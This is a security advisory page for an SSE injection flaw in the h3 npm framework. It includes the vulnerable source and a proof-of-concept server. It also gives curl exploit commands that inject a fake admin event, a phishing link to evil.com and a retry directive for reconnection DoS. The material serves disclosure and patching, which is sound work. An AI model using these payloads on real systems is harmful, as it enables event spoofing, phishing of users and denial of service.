GHSA-22cc-p3c6-wpvm is a high-severity (CVSS 7.5) CWE-93 vulnerability in h3. A fix is available for h3 — see the affected versions and patch details below.
h3 has a Server-Sent Events Injection via Unsanitized Newlines in Event Stream Fields
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-22cc-p3c6-wpvm.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-22cc-p3c6-wpvm plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
h3npmDescription
Summary
createEventStream in h3 is vulnerable to Server-Sent Events (SSE) injection due to missing newline sanitization in formatEventStreamMessage() and formatEventStreamComment(). An attacker who controls any part of an SSE message field (id, event, data, or comment) can inject arbitrary SSE events to connected clients.
Details
The vulnerability exists in src/utils/internal/event-stream.ts, lines 170-187:
export function formatEventStreamComment(comment: string): string {
return `: ${comment}\n\n`;
}
export function formatEventStreamMessage(message: EventStreamMessage): string {
let result = "";
if (message.id) {
result += `id: ${message.id}\n`;
}
if (message.event) {
result += `event: ${message.event}\n`;
}
if (typeof message.retry === "number" && Number.isInteger(message.retry)) {
result += `retry: ${message.retry}\n`;
}
result += `data: ${message.data}\n\n`;
return result;
}
The SSE protocol (defined in the WHATWG HTML spec) uses newline characters (\n) as field delimiters and double newlines (\n\n) as event separators.
None of the fields (id, event, data, comment) are sanitized for newline characters before being interpolated into the SSE wire format. If any field value contains \n, the SSE framing is broken, allowing an attacker to:
- Inject arbitrary SSE fields — break out of one field and add
event:,data:,id:, orretry:directives - Inject entirely new SSE events — using
\n\nto terminate the current event and start a new one - Manipulate reconnection behavior — inject
retry: 1to force aggressive reconnection (DoS) - Override Last-Event-ID — inject
id:to manipulate which events are replayed on reconnection
Injection via the event field
Intended wire format: Actual wire format (with \n injection):
event: message event: message
data: attacker: hey event: admin ← INJECTED
data: ALL_USERS_HACKED ← INJECTED
data: attacker: hey
The browser's EventSource API parses these as two separate events: one message event and one admin event.
Injection via the data field
Intended: Actual (with \n\n injection):
event: message event: message
data: bob: hi data: bob: hi
← event boundary
event: system ← INJECTED event
data: Reset: evil.com ← INJECTED data
Before exploit: <img width="700" height="61" alt="image" src="https://github.com/user-attachments/assets/d9d28296-0d42-40d7-b79c-d337406cbfc9" />
<img width="713" height="228" alt="image" src="https://github.com/user-attachments/assets/5a52debc-2775-4367-b427-df4100fe2b8e" />PoC
Vulnerable server (sse-server.ts)
A realistic chat/notification server that broadcasts user input via SSE:
import { H3, createEventStream, getQuery } from "h3";
import { serve } from "h3/node";
const app = new H3();
const clients: any[] = [];
app.get("/events", (event) => {
const stream = createEventStream(event);
clients.push(stream);
stream.onClosed(() => {
clients.splice(clients.indexOf(stream), 1);
stream.close();
});
return stream.send();
});
app.get("/send", async (event) => {
const query = getQuery(event);
const user = query.user as string;
const msg = query.msg as string;
const type = (query.type as string) || "message";
for (const client of clients) {
await client.push({ event: type, data: `${user}: ${msg}` });
}
return { status: "sent" };
});
serve({ fetch: app.fetch });
Exploit
# 1. Inject fake "admin" event via event field
curl -s "http://localhost:3000/send?user=attacker&msg=hey&type=message%0aevent:%20admin%0adata:%20SYSTEM:%20Server%20shutting%20down"
# 2. Inject separate phishing event via data field
curl -s "http://localhost:3000/send?user=bob&msg=hi%0a%0aevent:%20system%0adata:%20Password%20reset:%20http://evil.com/steal&type=message"
# 3. Inject retry directive for reconnection DoS
curl -s "http://localhost:3000/send?user=x&msg=test%0aretry:%201&type=message"
Raw wire format proving injection
event: message
event: admin
data: ALL_USERS_COMPROMISED
data: attacker: legit
The browser's EventSource fires this as an admin event with data ALL_USERS_COMPROMISED — entirely controlled by the attacker.
Proof:
<img width="856" height="275" alt="image" src="https://github.com/user-attachments/assets/111d3fde-e461-4e44-8112-9f19fff41fec" /> <img width="950" height="156" alt="image" src="https://github.com/user-attachments/assets/ff750f9c-e5d9-4aa4-b48a-20b49747d2ab" />Impact
An attacker who can influence any field of an SSE message (common in chat applications, notification systems, live dashboards, AI streaming responses, and collaborative tools) can inject arbitrary SSE events that all connected clients will process as legitimate.
Attack scenarios:
- Cross-user content injection — inject fake messages in chat applications
- Phishing — inject fake system notifications with malicious links
- Event spoofing — trigger client-side handlers for privileged event types (e.g.,
admin,system) - Reconnection DoS — inject
retry: 1to force all clients to reconnect every 1ms - Last-Event-ID manipulation — override the event ID to cause event replay or skipping on reconnection
This is a framework-level vulnerability, not a developer misconfiguration — the framework's API accepts arbitrary strings but does not enforce the SSE protocol's invariant that field values must not contain newlines.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | h3 | ≥ 2.0.0&&< 2.0.1-rc.15 | 2.0.1-rc.15npm install h3@2.0.1-rc.15 |
| 📦npm | h3 | all versions | 1.15.6npm install h3@1.15.6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for h3, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update h3 to 2.0.1-rc.15 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-22cc-p3c6-wpvm is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-22cc-p3c6-wpvm can be triaged on real exposure rather than presence alone.
Tailored to GHSA-22cc-p3c6-wpvm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-22cc-p3c6-wpvm in your dependencies?
O3 Security finds GHSA-22cc-p3c6-wpvm across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.